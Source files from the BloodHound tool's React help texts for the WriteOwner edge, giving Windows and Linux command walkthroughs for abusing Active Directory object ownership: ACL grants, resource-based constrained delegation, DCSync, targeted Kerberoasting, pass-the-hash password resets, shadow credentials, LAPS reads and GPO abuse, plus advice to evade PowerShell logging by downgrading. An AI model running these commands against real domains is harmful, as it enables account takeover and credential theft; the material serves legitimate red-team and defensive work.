first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Set-DomainObjectOwner, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
'Set-DomainObjectOwner -Credential $Cred -TargetIdentity windows1 -OwnerIdentity harmj0y'
}
</code>
</pre>
<p>
To abuse ownership of a computer object, you may grant
yourself the GenericAll privilege.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Add-DomainObjectAcl,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainObjectAcl, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
'Add-DomainObjectAcl -Credential $Cred -TargetIdentity windows1 -Rights All'
}
</code>
</pre>
<p>
Once you have granted yourself this privilege, you may
read the ms-Ads-AdmPwd attribute on the computer object
in LDAP which contains the local administrator password.
</p>
<p>
Alternatively, you can perform a resource based
constrained delegation attack.
</p>
<p>
Generic write to a computer object can be used to
perform a resource based constrained delegation attack.
</p>
<p>
Abusing this primitive is currently only possible
through the Rubeus project.
</p>
<p>
First, if an attacker does not control an account with
an SPN set, Kevin Robertson's Powermad project can be
used to add a new attacker-controlled computer account:
</p>
<pre>
<code>
{
"New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)"
}
</code>
</pre>
<p>
PowerView can be used to then retrieve the security
identifier (SID) of the newly created computer account:
</p>
<pre>
<code>
{
'$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid'
}
</code>
</pre>
<p>
We now need to build a generic ACE with the
attacker-added computer SID as the principal, and get
the binary bytes for the new DACL/ACE:
</p>
<pre>
<code>
{'$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"\n' +
'$SDBytes = New-Object byte[] ($SD.BinaryLength)\n' +
'$SD.GetBinaryForm($SDBytes, 0)'}
</code>
</pre>
<p>
Next, we need to set this newly created security
descriptor in the
msDS-AllowedToActOnBehalfOfOtherIdentity field of the
comptuer account we're taking over, again using
PowerView in this case:
</p>
<pre>
<code>
{
"Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}"
}
</code>
</pre>
<p>
We can then use Rubeus to hash the plaintext password
into its RC4_HMAC form:
</p>
<pre>
<code>{'Rubeus.exe hash /password:Summer2018!'}</code>
</pre>
<p>
And finally we can use Rubeus' *s4u* module to get a
service ticket for the service name (sname) we want to
"pretend" to be "admin" for. This ticket is injected
(thanks to /ptt), and in this case grants us access to
the file system of the TARGETCOMPUTER:
</p>
<pre>
<code>
{
'Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt'
}
</code>
</pre>
<p>
Cleanup can be done using the Remove-DomainObjectAcl
function:
</p>
<pre>
<code>
{
'Remove-DomainObjectAcl -Credential $Cred -TargetIdentity windows1 -Rights All'
}
</code>
</pre>
<p>
Cleanup for the owner can be done by using
Set-DomainObjectOwner once again
</p>
</>
);
case 'Domain':
return (
<>
<p>
To change the ownership of the object, you may use the
Set-DomainObjectOwner function in PowerView.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Set-DomainObjectOwner,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Set-DomainObjectOwner, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
'Set-DomainObjectOwner -Credential $Cred -TargetIdentity testlab.local -OwnerIdentity harmj0y'
}
</code>
</pre>
<p>
To abuse ownership of a domain object, you may grant
yourself the DcSync privileges.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Add-DomainObjectAcl,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainObjectAcl, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
'Add-DomainObjectAcl -Credential $Cred -TargetIdentity testlab.local -Rights DCSync'
}
</code>
</pre>
<p>
Once you have granted yourself this privilege, you may
use the mimikatz dcsync function to dcsync the password
of arbitrary principals on the domain
</p>
<pre>
<code>
{
'lsadump::dcsync /domain:testlab.local /user:Administrator'
}
</code>
</pre>
<p>
Cleanup can be done using the Remove-DomainObjectAcl
function:
</p>
<pre>
<code>
{
'Remove-DomainObjectAcl -Credential $Cred -TargetIdentity testlab.local -Rights DCSync'
}
</code>
</pre>
<p>
Cleanup for the owner can be done by using
Set-DomainObjectOwner once again
</p>
</>
);
case 'GPO':
return (
<>
<p>
To change the ownership of the object, you may use the
Set-DomainObjectOwner function in PowerView.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Set-DomainObjectOwner,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Set-DomainObjectOwner, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
'Set-DomainObjectOwner -Credential $Cred -TargetIdentity TestGPO -OwnerIdentity harmj0y'
}
</code>
</pre>
<p>
To abuse ownership of a domain object, you may grant
yourself the DcSync privileges.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Add-DomainObjectAcl,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Add-DomainObjectAcl, optionally specifying
$Cred if you are not already running a process as{' '}
{sourceName}:
</p>
<pre>
<code>
{
'Add-DomainObjectAcl -Credential $Cred -TargetIdentity TestGPO -Rights All'
}
</code>
</pre>
<p>
With full control of a GPO, you may make modifications
to that GPO which will then apply to the users and
computers affected by the GPO. Select the target object
you wish to push an evil policy down to, then use the
gpedit GUI to modify the GPO, using an evil policy that
allows item-level targeting, such as a new immediate
scheduled task. Then wait at least 2 hours for the group
policy client to pick up and execute the new evil
policy. See the references tab for a more detailed write
up on this abuse
</p>
<p>
Cleanup can be done using the Remove-DomainObjectAcl
function:
</p>
<pre>
<code>
{
'Remove-DomainObjectAcl -Credential $Cred -TargetIdentity TestGPO -Rights All'
}
</code>
</pre>
<p>
Cleanup for the owner can be done by using
Set-DomainObjectOwner once again
</p>
</>
);
case 'OU':
return (
<>
<h4>Control of the Organizational Unit</h4>
<p>
To change the ownership of the object, you may use the
Set-DomainObjectOwner function in PowerView.
</p>
<p>
You may need to authenticate to the Domain Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Set-DomainObjectOwner,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then, use Set-DomainObjectOwner, optionally specifying
$Cred if you are not already running a process as a
member of (the group that holds this ACE):
</p>
<pre>
<code>
{
'Set-DomainObjectOwner -Credential $Cred -TargetIdentity dfm -OwnerIdentity harmj0y'
}
</code>
</pre>
<p>
Now with ownership of the OU object, you may grant
yourself the GenericAll privilege. This can be
accomplished using the Add-DomainObjectAcl function in
PowerView.
</p>
<pre>
<code>{`Add-DomainObjectAcl -TargetIdentity ${targetId} -Rights All`}</code>
</pre>
<p>
With full control of the OU, you may now add a new ACE
on the OU that will inherit down to the objects under
that OU. Below are two options depending on how targeted
you choose to be in this step:
</p>
<h4>Generic Descendent Object Takeover</h4>
<p>
The simplest and most straight forward way to abuse
control of the OU is to apply a GenericAll ACE on the OU
that will inherit down to all object types. Again, this
can be done using PowerView. This time we will use the
New-ADObjectAccessControlEntry, which gives us more
control over the ACE we add to the OU.
</p>
<p>
First, we need to reference the OU by its ObjectGUID,
not its name. The ObjectGUID for the OU {targetName} is:{' '}
{targetId}.
</p>
<p>
Next, we will fetch the GUID for all objects. This
should be '00000000-0000-0000-0000-000000000000':
</p>
<pre>
<code>
{'$Guids = Get-DomainGUIDMap\n' +
"$AllObjectsPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'All'} | select -ExpandProperty name"}
</code>
</pre>
<p>
Then we will construct our ACE. This command will create
an ACE granting the "JKHOLER" user full control of all
descendant objects:
</p>
<pre>
<code>
{
"$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity 'JKOHLER' -Right GenericAll -AccessControlType Allow -InheritanceType All -InheritedObjectType $AllObjectsPropertyGuid"
}
</code>
</pre>
<p>Finally, we will apply this ACE to our target OU:</p>
<pre>
<code>
{'$OU = Get-DomainOU -Raw (OU GUID)\n' +
'$DsEntry = $OU.GetDirectoryEntry()\n' +
"$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'\n" +
'$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)\n' +
'$dsEntry.PsBase.CommitChanges()'}
</code>
</pre>
<p>
Now, the "JKOHLER" user will have full control of all
descendent objects of each type.
</p>
<h4>Targeted Descendent Object Takeoever</h4>
<p>
If you want to be more targeted with your approach, it
is possible to specify precisely what right you want to
apply to precisely which kinds of descendent objects.
You could, for example, grant a user
"ForceChangePassword" privilege against all user
objects, or grant a security group the ability to read
every GMSA password under a certain OU. Below is an
example taken from PowerView's help text on how to grant
the "ITADMIN" user the ability to read the LAPS password
from all computer objects in the "Workstations" OU:
</p>
<pre>
<code>
{'$Guids = Get-DomainGUIDMap\n' +
"$AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name\n" +
"$CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name\n" +
'$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid\n' +
'$OU = Get-DomainOU -Raw Workstations\n' +
'$DsEntry = $OU.GetDirectoryEntry()\n' +
"$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'\n" +
'$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)\n' +
'$dsEntry.PsBase.CommitChanges()'}
</code>
</pre>
</>
);
}
};
WindowsAbuse.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
targetId: PropTypes.string,
};
export default WindowsAbuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/WriteOwner/WindowsAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 7,595 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import WindowsAbuse from './WindowsAbuse';
import LinuxAbuse from './LinuxAbuse';
import Opsec from './Opsec';
import References from './References';
const WriteOwner = ({
sourceName,
sourceType,
targetName,
targetType,
targetId,
}) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
targetType={targetType}
/>
</Tab>
<Tab eventKey={2} title='Windows Abuse'>
<WindowsAbuse
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
targetType={targetType}
targetId={targetId}
/>
</Tab>
<Tab eventKey={3} title='Linux Abuse'>
<LinuxAbuse
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
targetType={targetType}
targetId={targetId}
/>
</Tab>
<Tab eventKey={4} title='Opsec'>
<Opsec />
</Tab>
<Tab eventKey={5} title='Refs'>
<References />
</Tab>
</Tabs>
);
};
WriteOwner.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default WriteOwner;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/WriteOwner/WriteOwner.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 366 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url#s4u'>
path_to_url#s4u
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url#new-machineaccount'>
path_to_url#new-machineaccount
</a>
<br />
<a href='path_to_url
path_to_url
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/WriteOwner/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 237 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
const LinuxAbuse = ({
sourceName,
sourceType,
targetName,
targetType,
targetId,
haslaps,
}) => {
switch (targetType) {
case 'Group':
return (
<>
<p>
To change the ownership of the object, you may use Impacket's owneredit
example script (cf. "grant ownership" reference for the exact link).
</p>
<pre>
<code>
{
"owneredit.py -action write -owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'"
}
</code>
</pre>
<h4> Modifying the rights </h4>
<p>
To abuse ownership of a group object, you may grant
yourself the AddMember privilege.
</p>
<p>
Impacket's dacledit can be used for that purpose (cf.
"grant rights" reference for the link).
</p>
<pre>
<code>
{
"dacledit.py -action 'write' -rights 'WriteMembers' -principal 'controlledUser' -target-dn 'groupDistinguidedName' 'domain'/'controlledUser':'password'"
}
</code>
</pre>
<h4> Adding to the group </h4>
<p>
You can now add members to the group.
</p>
<p>
Use samba's net tool to add the user to the target group. The credentials can be supplied in cleartext
or prompted interactively if omitted from the command line:
</p>
<pre>
<code>
{
'net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
}
</code>
</pre>
<p>
Pass-the-hash can also be done here with <a href='path_to_url net tool</a>.
If the LM hash is not known it must be replace with <code>ffffffffffffffffffffffffffffffff</code>.
</p>
<pre>
<code>
{
'pth-net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"'
}
</code>
</pre>
<p>
Finally, verify that the user was successfully added to the group:
</p>
<pre>
<code>
{
'net rpc group members "TargetGroup" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
}
</code>
</pre>
<h4> Cleanup </h4>
<p>
Impacket's dacledit can be used for that purpose (cf.
"grant rights" reference for the link).
</p>
<pre>
<code>
{
"dacledit.py -action 'remove' -rights 'WriteMembers' -principal 'controlledUser' -target-dn 'groupDistinguidedName' 'domain'/'controlledUser':'password'"
}
</code>
</pre>
</>
);
case 'User':
return (
<>
<p>
To change the ownership of the object, you may use Impacket's owneredit
example script (cf. "grant ownership" reference for the exact link).
</p>
<pre>
<code>
{
"owneredit.py -action write -owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'"
}
</code>
</pre>
<p>
To abuse ownership of a user object, you may grant
yourself the GenericAll privilege.
</p>
<p>
Impacket's dacledit can be used for that purpose (cf.
"grant rights" reference for the link).
</p>
<pre>
<code>
{
"dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'"
}
</code>
</pre>
<p>
Cleanup of the added ACL can be performed later on with the same tool:
</p>
<h4> Targeted Kerberoast </h4>
<p>
A targeted kerberoast attack can be performed using{' '}
<a href='path_to_url
</p>
<pre>
<code>
{
"targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword'"
}
</code>
</pre>
<p>
The tool will automatically attempt a targetedKerberoast
attack, either on all users or against a specific one if
specified in the command line, and then obtain a crackable hash.
The cleanup is done automatically as well.
</p>
<p>
The recovered hash can be cracked offline using the tool
of your choice.
</p>
<h4> Force Change Password </h4>
<p>
Use samba's net tool to change the user's password. The credentials can be supplied in cleartext
or prompted interactively if omitted from the command line. The new password will be prompted
if omitted from the command line.
</p>
<pre>
<code>
{
'net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
}
</code>
</pre>
<p>
Pass-the-hash can also be done here with <a href='path_to_url net tool</a>.
If the LM hash is not known it must be replace with <code>ffffffffffffffffffffffffffffffff</code>.
</p>
<pre>
<code>
{
'pth-net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"'
}
</code>
</pre>
<p>
Now that you know the target user's plain text password, you can
either start a new agent as that user, or use that user's
credentials in conjunction with PowerView's ACL abuse functions,
or perhaps even RDP to a system the target user has access to.
For more ideas and information, see the references tab.
</p>
<h4> Shadow Credentials attack </h4>
<p>To abuse this privilege, use <a href='path_to_url
<pre>
<code>{'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}</code>
</pre>
<p>
For other optional parameters, view the pyWhisker documentation.
</p>
</>
);
case 'Computer':
if (haslaps) {
return (
<>
<p>
To change the ownership of the object, you may use Impacket's owneredit
example script (cf. "grant ownership" reference for the exact link).
</p>
<pre>
<code>
{
"owneredit.py -action write -owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'"
}
</code>
</pre>
<p>
To abuse ownership of a computer object, you may
grant yourself the GenericAll privilege.
</p>
<p>
Impacket's dacledit can be used for that purpose (cf.
"grant rights" reference for the link).
</p>
<pre>
<code>
{
"dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'"
}
</code>
</pre>
<p>
Cleanup of the added ACL can be performed later on with the same tool:
</p>
<h4> Retrieve LAPS Password </h4>
<p>
Full control of a computer object is abusable when
the computer's local admin account credential is
controlled with LAPS. The clear-text password for
the local administrator account is stored in an
extended attribute on the computer object called
ms-Mcs-AdmPwd. With full control of the computer
object, you may have the ability to read this
attribute, or grant yourself the ability to read the
attribute by modifying the computer object's
security descriptor.
</p>
<p>
<a href='path_to_url can be used
to retrieve LAPS passwords:
</p>
<pre>
<code>
{
'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
}
</code>
</pre>
<h4> Resource-Based Constrained Delegation </h4>
First, if an attacker does not control an account with an
SPN set, a new attacker-controlled computer account can be
added with Impacket's addcomputer.py example script:
<pre>
<code>
{
"addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
}
</code>
</pre>
We now need to configure the target object so that the attacker-controlled
computer can delegate to it. Impacket's rbcd.py script can be used for that
purpose:
<pre>
<code>
{
"rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'"
}
</code>
</pre>
And finally we can get a service ticket for the service name (sname) we
want to "pretend" to be "admin" for. Impacket's getST.py example script
can be used for that purpose.
<pre>
<code>
{
"getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
}
</code>
</pre>
This ticket can then be used with Pass-the-Ticket, and could grant access
to the file system of the TARGETCOMPUTER.
<h4> Shadow Credentials attack </h4>
<p>To abuse this privilege, use <a href='path_to_url
<pre>
<code>{'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}</code>
</pre>
<p>
For other optional parameters, view the pyWhisker documentation.
</p>
</>
);
} else {
return (
<>
<p>
To change the ownership of the object, you may use Impacket's owneredit
example script (cf. "grant ownership" reference for the exact link).
</p>
<pre>
<code>
{
"owneredit.py -action write -owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'"
}
</code>
</pre>
<p>
To abuse ownership of a computer object, you may
grant yourself the GenericAll privilege.
</p>
<p>
Impacket's dacledit can be used for that purpose (cf.
"grant rights" reference for the link).
</p>
<pre>
<code>
{
"dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'"
}
</code>
</pre>
<p>
Cleanup of the added ACL can be performed later on with the same tool:
</p>
<h4> Resource-Based Constrained Delegation </h4>
First, if an attacker does not control an account with an
SPN set, a new attacker-controlled computer account can be
added with Impacket's addcomputer.py example script:
<pre>
<code>
{
"addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
}
</code>
</pre>
We now need to configure the target object so that the attacker-controlled
computer can delegate to it. Impacket's rbcd.py script can be used for that
purpose:
<pre>
<code>
{
"rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'"
}
</code>
</pre>
And finally we can get a service ticket for the service name (sname) we
want to "pretend" to be "admin" for. Impacket's getST.py example script
can be used for that purpose.
<pre>
<code>
{
"getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
}
</code>
</pre>
This ticket can then be used with Pass-the-Ticket, and could grant access
to the file system of the TARGETCOMPUTER.
<h4> Shadow Credentials attack </h4>
<p>To abuse this privilege, use <a href='path_to_url
<pre>
<code>{'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}</code>
</pre>
<p>
For other optional parameters, view the pyWhisker documentation.
</p>
</>
);
}
case 'Domain':
return (
<>
<p>
To change the ownership of the object, you may use Impacket's owneredit
example script (cf. "grant ownership" reference for the exact link).
</p>
<pre>
<code>
{
"owneredit.py -action write -owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'"
}
</code>
</pre>
<p>
To abuse ownership of a domain object, you may grant
yourself the DcSync privileges.
</p>
<p>
Impacket's dacledit can be used for that purpose (cf.
"grant rights" reference for the link).
</p>
<pre>
<code>
{
"dacledit.py -action 'DCSync' -rights 'FullControl' -principal 'controlledUser' -target-dn 'DomainDisinguishedName' 'domain'/'controlledUser':'password'"
}
</code>
</pre>
<p>
Cleanup of the added ACL can be performed later on with the same tool:
</p>
<h4> DCSync </h4>
<p>
The AllExtendedRights privilege grants {sourceName} both the
DS-Replication-Get-Changes and
DS-Replication-Get-Changes-All privileges, which combined
allow a principal to replicate objects from the domain{' '}
{targetName}.
</p>
<p>
This can be abused using Impacket's secretsdump.py example script:
</p>
<pre>
<code>
{
"secretsdump 'DOMAIN'/'USER':'PASSWORD'@'DOMAINCONTROLLER'"
}
</code>
</pre>
<h4> Retrieve LAPS Passwords </h4>
<p>
If FullControl (GenericAll) is obtained on the domain,
instead of granting DCSync rights, the AllExtendedRights
privilege included grants {sourceName} enough{' '}
privileges to retrieve LAPS passwords domain-wise.
</p>
<p>
<a href="path_to_url">pyLAPS</a> can be used
for that purpose:
</p>
<pre>
<code>
{
'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
}
</code>
</pre>
</>
);
case 'GPO':
return (
<>
<p>
To change the ownership of the object, you may use Impacket's owneredit
example script (cf. "grant ownership" reference for the exact link).
</p>
<pre>
<code>
{
"owneredit.py -action write -owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'"
}
</code>
</pre>
<p>
To abuse ownership of a GPO, you may
grant yourself the GenericAll privilege.
</p>
<p>
Impacket's dacledit can be used for that purpose (cf.
"grant rights" reference for the link).
</p>
<pre>
<code>
{
"dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'"
}
</code>
</pre>
<p>
Cleanup of the added ACL can be performed later on with the same tool:
</p>
<p>
With full control of a GPO, you may make modifications
to that GPO which will then apply to the users and
computers affected by the GPO. Select the target object
you wish to push an evil policy down to, then use the
gpedit GUI to modify the GPO, using an evil policy that
allows item-level targeting, such as a new immediate
scheduled task. Then wait at least 2 hours for the group
policy client to pick up and execute the new evil
policy. See the references tab for a more detailed write
up on this abuse.
</p>
<p>
<a href="path_to_url">pyGPOAbuse.py</a> can be used for that purpose.
</p>
</>
);
case 'OU':
return (
<>
<p>
To change the ownership of the object, you may use Impacket's owneredit
example script (cf. "grant ownership" reference for the exact link).
</p>
<pre>
<code>
{
"owneredit.py -action write -owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'"
}
</code>
</pre>
<h4>Control of the Organization Unit</h4>
<p>
With ownership of the OU object, you may grant yourself
the GenericAll privilege.
</p>
<h4>Generic Descendent Object Takeover</h4>
<p>
The simplest and most straight forward way to abuse
control of the OU is to apply a GenericAll ACE on the OU
that will inherit down to all object types. This
can be done using Impacket's dacledit (cf. "grant rights"
reference for the link).
</p>
<pre>
<code>
{
"dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'JKHOLER' -target-dn 'OUDistinguishedName' 'domain'/'user':'password'"
}
</code>
</pre>
<p>
Now, the "JKOHLER" user will have full control of all
descendent objects of each type.
</p>
<h4>Targeted Descendent Object Takeoever</h4>
<p>
If you want to be more targeted with your approach, it
is possible to specify precisely what right you want to
apply to precisely which kinds of descendent objects.
Refer to the Windows Abuse info for this.
</p>
</>
);
case 'Container':
return (
<>
<p>
To change the ownership of the object, you may use Impacket's owneredit
example script (cf. "grant ownership" reference for the exact link).
</p>
<pre>
<code>
{
"owneredit.py -action write -owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'"
}
</code>
</pre>
<h4>Control of the Container</h4>
<p>
With ownership of the container object, you may grant yourself
the GenericAll privilege.
</p>
<h4>Generic Descendent Object Takeover</h4>
<p>
The simplest and most straight forward way to abuse
control of the OU is to apply a GenericAll ACE on the OU
that will inherit down to all object types. This
can be done using Impacket's dacledit (cf. "grant rights"
reference for the link).
</p>
<pre>
<code>
{
"dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'JKHOLER' -target-dn 'containerDistinguishedName' 'domain'/'user':'password'"
}
</code>
</pre>
<p>
Now, the "JKOHLER" user will have full control of all
descendent objects of each type.
</p>
<h4>Targeted Descendent Object Takeoever</h4>
<p>
If you want to be more targeted with your approach, it
is possible to specify precisely what right you want to
apply to precisely which kinds of descendent objects.
Refer to the Windows Abuse info for this.
</p>
</>
);
}
};
LinuxAbuse.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
targetId: PropTypes.string,
haslaps: PropTypes.bool,
};
export default LinuxAbuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/WriteOwner/LinuxAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 4,988 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<>
<p>
This depends on the target object and how to take advantage of
this privilege. Opsec considerations for each abuse primitive
are documented on the specific abuse edges and on the BloodHound
wiki.
</p>
<p>
When using the PowerView functions, keep in mind that PowerShell
v5 introduced several security mechanisms that make it much
easier for defenders to see what's going on with PowerShell in
their network, such as script block logging and AMSI. You can
bypass those security mechanisms by downgrading to PowerShell
v2, which all PowerView functions support.
</p>
<p>
Modifying permissions on an object will generate 4670 and 4662
events on the domain controller that handled the request.
</p>
<p>
Additional opsec considerations depend on the target object and
how to take advantage of this privilege. Opsec considerations
for each abuse primitive are documented on the specific abuse
edges and on the BloodHound wiki.
</p>
</>
);
};
export default Opsec;
